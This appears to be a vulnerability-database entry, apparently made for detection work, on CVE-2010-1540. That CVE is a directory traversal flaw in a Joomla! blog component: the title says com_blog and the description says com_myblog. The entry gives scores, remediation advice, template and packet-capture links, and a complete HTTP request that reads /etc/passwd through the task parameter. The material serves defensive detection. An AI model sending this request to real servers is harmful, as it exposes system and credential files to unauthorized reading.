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CVE-2010-1540: Joomla! Component com_blog - Directory Traversal

TitleJoomla! Component com_blog - Directory Traversal
Authordaffainfo
SeverityMedium
ImpactAn attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
RemediationApply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.
CVSS Score5
EPSS Score0.16311
CVE IDCVE-2010-1540
CWE IDCWE-22
Tags cve2010 cve joomla lfi edb myblog vuln

🔍 Vulnerability Description

A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.

🌐 HTTP Request

GET /index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/537.86.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2010/CVE-2010-1540.yaml

🦈 Packet Capture: ⬇️ Download cve-2010-1540.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A